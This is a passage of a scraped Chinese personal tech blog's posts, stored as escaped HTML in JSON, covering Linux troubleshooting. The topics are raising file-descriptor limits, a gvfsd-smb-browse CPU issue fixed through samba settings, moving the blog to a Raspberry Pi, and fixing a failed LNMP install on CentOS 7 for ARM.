\u4e2a\u7ebf\u7a0b\u8fdb\u884c\u626b\u63cf\uff0c\u5728\u786e\u5b9a\u5e26\u5bbd\u5145\u8db3\uff0c\u7cfb\u7edf\u786c\u4ef6\u914d\u7f6e\u591f\u9ad8\u7684\u60c5\u51b5\u4e0b\u4f9d\u7136\u4f1a\u51fa\u73b0\u4e0a\u8ff0\u95ee\u9898\uff0c\u8fd9\u5c31\u8ba9\u6211\u60f3\u5230\u662f\u4e0d\u662f\u56e0\u4e3a\u7cfb\u7edf\u7684\u9650\u5236\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u901a\u8fc7\u641c\u7d22\u5f15\u64ce\u6211\u627e\u5230\u4e86\u5173\u4e8e\u7cfb\u7edf\u9650\u5236\u7684\u4ecb\u7ecd\uff0c\u6267\u884c\r\n</p>\r\n<pre class=\"brush:bash;\">$ ulimit -n\r\n1024</pre>\r\n<p>\r\n\t\u5f97\u5230\u7684\u7ed3\u679c\u662f1024\uff0c\u7cfb\u7edf\u9650\u5236\u4e3a\u540c\u65f6\u6253\u5f001024\u4e2a\u6587\u4ef6\uff0c\u8fd9\u663e\u7136\u662f\u592a\u5c11\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u8fd9\u4e2a\u95ee\u9898\u7684\u89e3\u51b3\u65b9\u6cd5\u5f88\u7b80\u5355\uff0c\u76f4\u63a5\u4fee\u6539\u4e0b\u9762\u7684\u6587\u4ef6\r\n</p>\r\n<pre class=\"brush:bash;\">sudo vim /etc/security/limits.conf</pre>\r\n\u6700\u8fd9\u4e2a\u6587\u4ef6\u7684\u6700\u540e\u6dfb\u52a0\u4e24\u884c\u4ee3\u7801\r\n<pre class=\"brush:bash;\">* soft nofile 10240\r\n* hard nofile 10240</pre>\r\n\u5f53\u7136\u8fd9\u4e2a\u6570\u5b57\u6839\u636e\u81ea\u5df1\u7684\u9700\u8981\u8fdb\u884c\u4fee\u6539\u5373\u53ef\uff0c\u4fdd\u5b58\u540e\u6ce8\u9500\u91cd\u65b0\u767b\u5f55\u5c31\u597d\u4e86\u3002\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttp://blog.csdn.net/fdipzone/article/details/34588803\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23411 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Ubuntu \u4e0b gvfsd-smb-brows \u8fdb\u7a0b\u5360\u7528CPU 100%\u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-17, 7:56 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u88c5\u5b8cUbuntu\u7cfb\u7edf\u53d1\u73b0\u7565\u5361\uff0c\u67e5\u770b\u4e0b\u8fdb\u7a0b\u53d1\u73b0 \u00a0gvfsd-smb-brows \u8fd9\u4e2a\u8fdb\u7a0b\u7684CPU\u5360\u7528\u5c45\u7136\u8fbe\u5230\u4e86100%\uff0c\u5982\u6b64\u7684\u8be1\u5f02\uff0c\u641c\u7d22\u4e86\u4e0b\u5173\u4e8e\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u4f3c\u4e4e\u662f\u8ddf\u6587\u4ef6\u5171\u4eab\u6709\u5173\u7cfb\u3002\r\n</p>\r\n<h2>\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u6211\u5728\u77e5\u4e4e\u4e0a\u627e\u5230\u4e00\u7bc7\u6587\u7ae0\u8bf4\u662f\u56e0\u4e3a\u6709windows\u6587\u4ef6\u5171\u4eab\uff0c\u68c0\u67e5\u4e00\u4e0b\u53d1\u73b0\u786e\u5b9e\u6709\uff0c\u673a\u5668\u91cc\u9762\u6709\u4e24\u5757SSD\uff0c\u4e00\u5757\u662fntfs\u683c\u5f0f\uff0c\u7528\u4e8ewindows\u8ddflinux\u7684\u6587\u4ef6\u5171\u4eab\uff0c\u95ee\u9898\u662f\u6211\u672c\u673a\u5e76\u6ca1\u6709\u5b89\u88c5samba\uff0c\u800c\u4e14\u4e5f\u6ca1\u6709\u90a3\u4e2a /etc/samba/smb.conf \u6587\u4ef6\r\n</p>\r\n<pre class=\"brush:bash;\">$ whereis samba\r\nsamba:</pre>\r\n<p>\r\n\t\u55ef\u3002\u6211\u5b89\u88c5\u4e00\u4e0bsamba\u5427\r\n</p>\r\n<pre class=\"brush:bash;\">sudo apt-get install samba samba-common</pre>\r\n<p>\r\n\t\u5b89\u88c5\u5b8c\u4e4b\u540e\u679c\u7136\u5c31\u6709\u4e86\u8fd9\u4e2a\u6587\u4ef6\uff0c\u6839\u636e\u6587\u7ae0\u8fdb\u884c\u4fee\u6539\u5728/etc/samba/smb.conf\u6587\u4ef6\u7684 [global] \u4e0b\u9762\u6dfb\u52a0\u4e00\u884c\r\n</p>\r\n<pre class=\"brush:bash;\">name resolve order = wins lmhosts bcast</pre>\r\n\u4fdd\u5b58\uff0c\u91cd\u542f\u673a\u5668\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttps://www.zhihu.com/question/45325945/answer/98823007\r\n</p>\r\n<p>\r\n\thttps://bugzilla.redhat.com/show_bug.cgi?id=1303300\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23410 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u535a\u5ba2\u8fc1\u79fb\u5230\u6811\u8393\u6d3e"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-11, 12:44 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\tWHY?\r\n</h2>\r\n<p>\r\n\t\u4e3a\u4f55\u8981\u8fc1\u79fb\u5230\u6811\u8393\u6d3e\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u56e0\u4e3a\u7231\u6298\u817e\uff01\uff01\uff01\r\n</p>\r\n<h2>\r\n\t\u6539\u53d8\r\n</h2>\r\n<p>\r\n\t\u6539\u53d8\u786e\u5b9e\u662f\u6709\u7684\uff0c\u5206\u522b\u6709\u4ee5\u4e0b\u51e0\u70b9\uff1a\r\n</p>\r\n<ol>\r\n\t<li>\r\n\t\t\u8bbf\u95ee\u901f\u5ea6\u66f4\u6162\u4e86\r\n\t</li>\r\n\t<li>\r\n\t\t\u6027\u80fd\u66f4\u5dee\u4e86\r\n\t</li>\r\n\t<li>\r\n\t\t\u66f4\u52a0\u4e0d\u7a33\u5b9a\u4e86<br>\r\n\t</li>\r\n</ol>\r\n<p>\r\n\t\u54c8\u54c8\u54c8\uff0c\u662f\u4e0d\u662f\u6539\u53d8\u633a\u5927\uff1f\r\n</p>\r\n<p>\r\n\t\u9488\u5bf9\u8fd9\u51e0\u70b9\u6211\u8fd8\u662f\u60f3\u8bf4\u660e\u4ee5\u4e0b\r\n</p>\r\n<p>\r\n\t\u4e4b\u6240\u4ee5\u901f\u5ea6\u66f4\u6162\uff0c\u662f\u56e0\u4e3a\u6211\u7684\u57df\u540d\u6728\u6709\u5907\u6848\uff0c\u53ea\u80fd\u653e\u5728\u56fd\u5916\uff0c\u7136\u540e\u53cd\u5411\u4ee3\u7406\u5230\u6211\u516c\u53f8\u91cc\u8def\u7531\u5668\u4e0a\u7684DDNS\uff0c\u76f8\u5f53\u4e8e \u56fd\u5185 TO \u7f8e\u56fd TO \u56fd\u5185 TO \u7f8e\u56fd TO \u56fd\u5185 \u8fd9\u6837\u7684\u8def\u5f84...\u901f\u5ea6\u6162\u662f\u80af\u5b9a\u7684\uff0c\u5982\u679c\u54ea\u4e00\u5929\u535a\u4e3b\u5b9e\u5728\u662f\u60f3\u4e0d\u5f00\uff0c\u8bf4\u4e0d\u5b9a\u5c31\u628a\u57df\u540d\u62ff\u53bb\u5907\u6848\u4e86\uff0c\u987a\u4fbf\u6362\u4e2a\u963f\u91cc\u4e91\u7684\u56fd\u5185\u673a\u5668\uff0c\u8fd9\u6837\u901f\u5ea6\u5c31\u4f1a\u5feb\u8d77\u6765\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u6027\u80fd\u66f4\u5dee\u7684\u539f\u56e0\u662f\u6811\u8393\u6d3e\u672c\u8eab\u7684\u6027\u80fd\u5c31\u5dee\uff0c\u6211\u7684\u6811\u8393\u6d3e2 B\u5185\u5b58\u53ea\u67091G\uff0cCPU\u548c\u786c\u76d8\uff08\u6839\u672c\u5c31\u662f\u4e00\u5f20class 10 \u7684TF\u5361\uff09\u5c31\u66f4\u4e0d\u7528\u8bf4\u4e86\uff0c\u6027\u80fd\u5fc5\u987b\u5dee\u554a...\r\n</p>\r\n<p>\r\n\t\u66f4\u52a0\u4e0d\u7a33\u5b9a\u662f\u4e3a\u5565\u634f\uff1f\u535a\u4e3b\u7528\u7684DDNS\u662f\u82b1\u751f\u58f3\u7684\u514d\u8d39\u7248\u672c\uff0c\u4e0d\u7a33\u5b9a\u548c\u6162\u662f\u6807\u914d\uff0c\u52a0\u4e0a\u535a\u4e3b\u516c\u53f8\u91cc\u7528\u7684\u662f\u8054\u901a50M\u5149\u7ea4\uff0c\u5076\u5c14\u7684\u4e0d\u7a33\u5b9a\u5c5e\u4e8e\u6b63\u5e38\u73b0\u8c61\u3002\r\n</p>\r\n<h2>\r\n\t\u597d\u5904\r\n</h2>\r\n<p>\r\n\t\u597d\u5904\u561b\uff0c\u6bd4\u8f83\u96be\u8bf4\uff0c\u4f46\u662f\u535a\u4e3b\u6211\u8fd8\u662f\u6324\u51fa\u4e86\u51e0\u70b9\u597d\u5904\uff0c\u867d\u7136\u6709\u70b9\u7275\u5f3a\uff5e\r\n</p>\r\n<p>\r\n\t\u4e3b\u8981\u8fd8\u662f\u65b9\u4fbf\u535a\u4e3b\u6211\u81ea\u5df1\u5566\uff0c\u56e0\u4e3a\u81ea\u5df1\u5199\u4e1c\u897f\u4e0a\u4f20\u6587\u4ef6\u53ef\u4ee5\u76f4\u63a5\u672c\u5730\u5185\u7f51\u64cd\u4f5c\uff0c\u8fd9\u9178\u723d\u8fd8\u7528\u63cf\u8ff0\uff1f\r\n</p>\r\n<p>\r\n\t\u8fd8\u6709\u5c31\u662f\u535a\u4e3b\u6ca1\u4e8b\u5c31\u559c\u6b22\u5230\u5904\u4fee\u4fee\u6539\u6539\uff0c\u5728vps\u4e0a\u4fee\u6539\u5b9e\u5728\u662f\u9ebb\u70e6\uff0cFTP\u4e0a\u4f20\u53c8\u6162\u7684\u8981\u547d\uff0c\u7d22\u6027\u76f4\u63a5\u5185\u7f51\u3002\r\n</p>\r\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t\u7f8e\u56fd\u5c0f\u6c34\u7ba1VPS\uff08CentOS\uff09</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=415\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/49a8cd72f9774fe2c6de19c7c3050b89.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-11t05-40-32.319z.png - \u5927\u5c0f: 44.48 KB - \u5c3a\u5bf8: 923 x 255 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"249\"></a></div>\r\n\r\n<p>\r\n\t\u672c\u5730\u7684\u6811\u8393\u6d3e\uff08Debian\uff09</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=416\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/63acac5d2d02dfe7bbb97c74ff7f603d.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-11t05-41-05.559z.png - \u5927\u5c0f: 38.44 KB - \u5c3a\u5bf8: 925 x 227 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"221\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23409 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["CentOS 7 for ARM \u5b89\u88c5\u4e00\u952eLnmp\u5931\u8d25"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-08, 6:26 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u524d\u9762\u628a\u6811\u8393\u6d3e\u88c5\u4e0a\u4e86CentOS 7\uff0c\u8d81\u7740\u56fd\u5e86\u653e\u5047\u56de\u6765\u8d76\u7d27\u628a\u670d\u52a1\u7aef\u73af\u5883\u642d\u8d77\u6765\uff0c\u4e3a\u4e86\u65b9\u4fbf\u5c31\u51c6\u5907\u7528\u4e00\u952elnmp\u5feb\u901f\u90e8\u7f72\u4e00\u4e2a\uff0c\u7ed3\u679c\u6b7b\u6d3b\u5b89\u88c5\u4e0d\u6210\u529f...\r\n</p>\r\n<h2>\r\n\t\u62a5\u9519\r\n</h2>\r\n<p>\r\n\t\u6309\u7167\u4ee5\u5f80\u7684\u7ecf\u9a8c\u8fdb\u884c\u5b89\u88c5\uff0c\u5728\u6211\u7684\u5c0f\u6811\u8393\u6d3e\u4e0a\u5b89\u88c5\u5b9e\u5728\u662f\u6162\uff0c\u6bd5\u7adf\u9700\u8981\u7f16\u8bd1\uff0cCPU\u4e0d\u7ed9\u529b\u53ea\u80fd\u6162\u6162\u7684\u7b49\u5f85\u7f16\u8bd1\u5b8c\u6210\uff0c\u5403\u4e2a\u5348\u996d\u56de\u6765\u53d1\u73b0\u4f3c\u4e4e\u5df2\u7ecf\u5b8c\u6210\u4e86\uff0c\u7136\u800c\u5374\u5931\u8d25\u4e86\uff0c\u62a5\u9519\u4fe1\u606f\u5982\u4e0b\r\n</p>\r\n<pre class=\"brush:bash;\">============================== Check install ==============================\r\nChecking ...\r\nNginx: OK\r\nMariaDB: OK\r\nError: PHP install failed.\r\nSorry, Failed to install LNMP!\r\nPlease visit http://bbs.vpser.net/forum-25-1.html feedback errors and logs.\r\nYou can download /root/lnmp-install.log from your server,and upload lnmp-install.log to LNMP Forum.</pre>\r\nPHP\u5b89\u88c5\u5931\u8d25\u4e86\uff0c\u62a5\u9519\u4e0d\u8981\u7d27\uff0c\u518d\u6765\u4e00\u6b21\u770b\u4e0b\u5565\u95ee\u9898\uff0c\u4f7f\u7528./upgrade.sh\u811a\u672c\u53ef\u4ee5\u91cd\u65b0\u5b89\u88c5\uff0c\u7136\u800c\u7ee7\u7eed\u62a5\u9519\r\n<pre class=\"brush:bash;\">+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL.... SUCCESS! \r\n/bin/lnmp: line 27: /etc/init.d/php-fpm: No such file or directory\r\n======== upgrade php failed ======\r\nupgrade php log: /root/upgrade_lnmp_php.log\r\nYou upload upgrade_lnmp_php.log to LNMP Forum for help.</pre>\r\n\u771f\u662f\u65e5\u4e86\u72d7\u4e86\uff0c\u4e0d\u884c\uff0c\u4eca\u5929\u4e00\u5b9a\u8981\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002\r\n<h2>\r\n\t\u53d1\u73b0\r\n</h2>\r\n<p>\r\n\t\u4ed4\u7ec6\u67e5\u770b\u5b89\u88c5\u65e5\u5fd7\uff0c\u53d1\u73b0\u4e86\u5173\u952e\u4fe1\u606f\r\n</p>\r\n<pre class=\"brush:bash;\">configure: error: Please reinstall the libcurl distribution -\r\n easy.h should be in <curl-dir>/include/curl/\r\nmake: *** No targets specified and no makefile found. Stop.\r\nmake: *** No rule to make target `install'. Stop.</pre>\r\n\u8fd9\u91cc\u6709\u4e2aerror\uff0c\u8bf4\u662f\u201c\u8bf7\u5b89\u88c5libcurl\u201d\uff0c\u5947\u602a\u4e86\uff0c\u6211\u5728VPS\u4e0a\u5b89\u88c5\u7684\u65f6\u5019\u548b\u6ca1\u78b0\u5230\u8fd9\u4e2a\u95ee\u9898\u5462\uff0c\u96be\u9053\u662fCentOS for \u6811\u8393\u6d3e\u7248\u672c\u9609\u5272\u4e86\u8fd9\u4e2a\u73a9\u610f\uff1f\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u6309\u7167\u9519\u8bef\u63d0\u793a\u5b89\u88c5\uff0c\u5c1d\u8bd5\u4f7f\u7528yum\u76f4\u63a5\u88c5\uff0c\u7136\u800c\u5305\u7ba1\u7406\u5668\u91cc\u9762\u5e76\u6ca1\u6709\u53d1\u73b0\u8fd9\u4e2a\u4e1c\u897f\uff0c\u627e\u5230\u5b98\u7f51\u4e0a\u76f4\u63a5\u4e0b\u8f7d\u7f16\u8bd1\u5b89\u88c5\r\n</p>\r\n<pre class=\"brush:bash;\">wget https://curl.haxx.se/download/curl-7.50.3.tar.gz\r\ntar zvxf curl-7.50.3.tar.gz\r\ncd curl-7.50.3\r\n./configure --enable-shared\r\nmake\r\nmake install</pre>\r\n\u7ecf\u8fc7\u6f2b\u957f\u7684\u7f16\u8bd1\u7ec8\u4e8e\u7f16\u8bd1\u5b89\u88c5\u6210\u529f\u4e86\r\n<p>\r\n\t\u7ee7\u7eed\u5c1d\u8bd5\u5b89\u88c5PHP\uff0c\u8fd9\u56de\u7b97\u662f\u6b63\u5e38\u8fdb\u884c\u7f16\u8bd1PHP\u4e86\r\n</p>\r\n<pre class=\"brush:bash;\">Generating files\r\nconfigure: creating ./config.status\r\ncreating main/internal_functions.c\r\ncreating main/internal_functions_cli.c\r\n+--------------------------------------------------------------------+\r\n| License: |\r\n| This software is subject to the PHP License, available in this |\r\n| distribution in the file LICENSE. By continuing this installation |\r\n| process, you are bound by the terms of this license agreement. |\r\n| If you do not agree with the terms of this license, you must abort |\r\n| the installation process at this point. |\r\n+--------------------------------------------------------------------+\r\n\r\nThank you for using PHP.\r\n\r\nconfig.status: creating php5.spec\r\nconfig.status: creating main/build-defs.h\r\nconfig.status: creating scripts/phpize\r\nconfig.status: creating scripts/man1/phpize.1\r\nconfig.status: creating scripts/php-config\r\nconfig.status: creating scripts/man1/php-config.1\r\nconfig.status: creating sapi/cli/php.1\r\nconfig.status: creating sapi/fpm/php-fpm.conf\r\nconfig.status: creating sapi/fpm/init.d.php-fpm\r\nconfig.status: creating sapi/fpm/php-fpm.service\r\nconfig.status: creating sapi/fpm/php-fpm.8\r\nconfig.status: creating sapi/fpm/status.html\r\nconfig.status: creating sapi/cgi/php-cgi.1\r\nconfig.status: creating ext/phar/phar.1\r\nconfig.status: creating ext/phar/phar.phar.1\r\nconfig.status: creating main/php_config.h\r\nconfig.status: executing default commands</pre>\r\n<p>\r\n\t\u7ecf\u8fc7\u6f2b\u957f\u7684\u7f16\u8bd1\uff0c\u7ec8\u4e8e.....\r\n</p>\r\n<p>\r\n\t\u7f16\u8bd1\u5b8c\u6210\u4e86\uff0c\u4f46\u662f...\r\n</p>\r\n<pre class=\"brush:bash;\">+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL...... SUCCESS! \r\nStarting php-fpm Failed loading /usr/local/zend/ZendGuardLoader.so: /usr/local/zend/ZendGuardLoader.so: cannot open shared object file: No such file or directory\r\n done\r\n======== upgrade php completed ======</pre>\r\n\u4f3c\u4e4e\u8fd8\u662f\u6709\u4e9b\u95ee\u9898\uff0c\u4e0d\u8fc7\u95ee\u9898\u4e0d\u5927\uff0c\u770b\u8d77\u6765\u50cf\u662f\u67d0\u4e2a\u6269\u5c55\u4e22\u4e86\uff0c\u5230\u8fd9\u4e2a\u76ee\u5f55\u67e5\u770b\u4e0b\u5230\u5e95\u6709\u6ca1\u6709\u8fd9\u4e2a\u4e1c\u897f\r\n<pre class=\"brush:bash;\">[root@rpi2 ~]# ls /usr/local/zend/ \r\nZendGuardLoader.so</pre>\r\n<p>\r\n\t\u53d1\u73b0\u662f\u6709\u8fd9\u4e2a\u4e1c\u897f\uff0c\u771f\u662f\u795e\u5947\uff0c\u901a\u8fc7\u641c\u7d22\u53d1\u73b0lnmp\u8bba\u575b\u4e0a\u8fd8\u771f\u6709\u4eba\u9047\u5230\u8fc7\u8fd9\u4e2a\u95ee\u9898\uff0c\u5e16\u5b50\u5730\u5740\u00a0http://bbs.vpser.net/thread-12810-1-1.html\uff0c\u4f5c\u8005\u8bf4\u662f\u7cfb\u7edfdns\u7684\u95ee\u9898\uff0c\u5e94\u8be5\u662f\u4e0b\u8f7d\u56de\u6765\u7684\u4e1c\u897f\u635f\u574f\u4e86\uff0c\u5148\u4e0d\u7ba1\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728php.ini\u91cc\u9762\u6ce8\u91ca\u6389\u8fd9\u4e2a\uff0c\u4e5f\u6216\u8005\u76f4\u63a5\u53bb\u4e0b\u8f7d\u5b8c\u6574\u7684\u91cd\u65b0\u653e\u8fdb\u53bb\u5c31\u53ef\u4ee5\u4e86\u3002\r\n</p>\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u91cd\u65b0\u4ecezend\u5b98\u65b9\u4e0b\u8f7d\u4e8632\u4f4d\u7684so\u6587\u4ef6\u653e\u8fdb\u53bb\u53d1\u73b0\u4f9d\u7136\u4e0d\u884c\uff0c\u5c1d\u8bd5\u91cd\u65b0\u5b89\u88c5PHP\u7684\u9ed8\u8ba4\u7248\u672c5.4.45\uff0c\u73b0\u5728\u8fd8\u5728\u7f16\u8bd1...\r\n</p>\r\n<h2>\r\n\t\u66f4\u65b0\r\n</h2>\r\n<p>\r\n\t\u7ecf\u8fc7\u4e00\u756a\u6ce2\u6298\u7ec8\u4e8e\u641e\u5b9a\u4e86\uff0c\u7f16\u8bd1\u5b8cPHP\u4e4b\u540e\u53d1\u73b0\u8fd8\u662f\u5931\u8d25\u4e86\uff0c\u9519\u8bef\u4fe1\u606f\u5982\u4e0b\r\n</p><pre class=\"brush:bash;\">+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL..... SUCCESS! \r\nStarting php-fpm /etc/init.d/php-fpm:\u884c57: /usr/local/php/sbin/php-fpm: \u6ca1\u6709\u90a3\u4e2a\u6587\u4ef6\u6216\u76ee\u5f55\r\n failed\r\n======== upgrade php failed ======\r\nupgrade php log: /root/upgrade_lnmp_php.log\r\nYou upload upgrade_lnmp_php.log to LNMP Forum for help.</pre>\r\n\u663e\u793a\u7684\u662f\u627e\u4e0d\u5230php-fpm\u8fd9\u4e2a\u6587\u4ef6\uff0c\u4e8e\u662f\u6211\u60f3\u67e5\u627e\u4e0b\u8fd9\u4e2a\u6587\u4ef6\u5728\u54ea\r\n<pre class=\"brush:bash;\">$ whereis php-fpm\r\nphp-fpm: /usr/bin/php-fpm /usr/sbin/php-fpm /etc/php-fpm.conf /etc/php-fpm.d /usr/share/man/man8/php-fpm.8.gz</pre>\r\n\u901a\u8fc7\u67e5\u627e\u53d1\u73b0\u786e\u5b9e\u4e0d\u5728\u90a3\u4e2a\u76ee\u5f55\u4e0b\u9762\uff0c\u8fd9\u4e2a\u7b80\u5355\uff0c\u76f4\u63a5\u4ece/usr/sbin\u4e0b\u9762\u628aphp-fpm\u590d\u5236\u8fc7\u53bb\u5c31\u597d\u4e86\r\n<pre class=\"brush:bash;\">$ cd /usr/local/php/\r\n$ ls\r\netc php-fpm\r\n$ sudo mkdir sbin\r\n$ sudo mv php-fpm sbin/\r\n$ lnmp restart\r\nError: You must be root to run this script!\r\n[kbdancerrpi@rpi2 php]$ sudo lnmp restart\r\n+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStoping LNMP...\r\nStoping nginx... done\r\nShutting down MySQL. SUCCESS! \r\nGracefully shutting down php-fpm warning, no pid file found - php-fpm is not running ?\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL..... SUCCESS! \r\nStarting php-fpm [01-Jan-1970 13:18:55] ERROR: failed to open error_log (/usr/local/php/var/log/php-fpm.log): No such file or directory (2)\r\n[01-Jan-1970 13:18:55] ERROR: failed to post process the configuration\r\n[01-Jan-1970 13:18:55] ERROR: FPM initialization failed\r\n failed</pre>\r\n\u6ca1\u9519\uff0c\u7ee7\u7eed\u62a5\u9519\uff0c\u6839\u636e\u63d0\u793a\u6765\r\n<pre class=\"brush:bash;\">$ cd /usr/local/php/\r\n$ sudo mkdir var\r\n$ cd var/\r\n$ sudo mkdir log\r\n$ cd log/\r\n$ ls\r\n$ sudo touch php-fpm.log\r\n$ sudo lnmp restart\r\n+-------------------------------------------+\r\n| Manager for LNMP, Written by Licess |\r\n+-------------------------------------------+\r\n| http://lnmp.org |\r\n+-------------------------------------------+\r\nStoping LNMP...\r\nStoping nginx... done\r\nShutting down MySQL. SUCCESS! \r\nGracefully shutting down php-fpm warning, no pid file found - php-fpm is not running ?\r\nStarting LNMP...\r\nStarting nginx... done\r\nStarting MySQL..... SUCCESS! \r\nStarting php-fpm [01-Jan-1970 13:20:18] ERROR: Unable to create the PID file (/usr/local/php/var/run/php-fpm.pid).: No such file or directory (2)\r\n[01-Jan-1970 13:20:18] ERROR: FPM initialization failed\r\n failed</pre>\r\n\u4f9d\u7136\u62a5\u9519\uff0c\u7ee7\u7eed\r\n<pre 